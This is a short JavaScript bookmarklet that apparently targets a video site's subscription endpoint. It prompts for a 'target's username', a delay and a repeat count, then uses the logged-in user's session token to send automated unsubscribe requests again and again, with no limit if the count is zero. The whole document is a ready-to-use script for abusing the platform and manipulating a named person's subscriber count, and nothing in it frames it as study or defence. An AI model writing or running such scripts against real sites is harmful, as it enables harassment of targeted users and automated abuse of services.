javascript:function unsubscribe() {
    httpreq=new XMLHttpRequest();
    httpreq.open('post', '/ajax_subscriptions?edit_subscription=newsub&username='+username+'&subscription_level=unsubscribe', false);
    httpreq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    httpreq.send('session_token='+yt.getConfig('SUBSCRIBE_AXC'));
    if(!httpreq.responseXML) {
        setTimeout('unsubscribe()', timeout);
        return;
    }
    if(httpreq.responseXML.getElementsByTagName('html_content')[0].childNodes[0].nodeValue!='<h2>You have successfully unsubscribed.</h2>') {
        alert(httpreq.responseXML.getElementsByTagName('html_content')[0].childNodes[0].nodeValue);
    } else if((window.status=++count)!=times) {
        setTimeout('unsubscribe()', timeout);
    } else {
        alert('DUN');
    }
}
count=0;
if((username=prompt('enter target\'s username', 'Fred'))!=null) {
    if(!isNaN(timeout=parseInt(prompt('enter timeout in milliseconds', 250)))) {
        if(!isNaN(times=parseInt(prompt('enter num of times to unsubscribe (0 = unlimited)', 0)))) {
            unsubscribe();
        }
    }
}
void(0);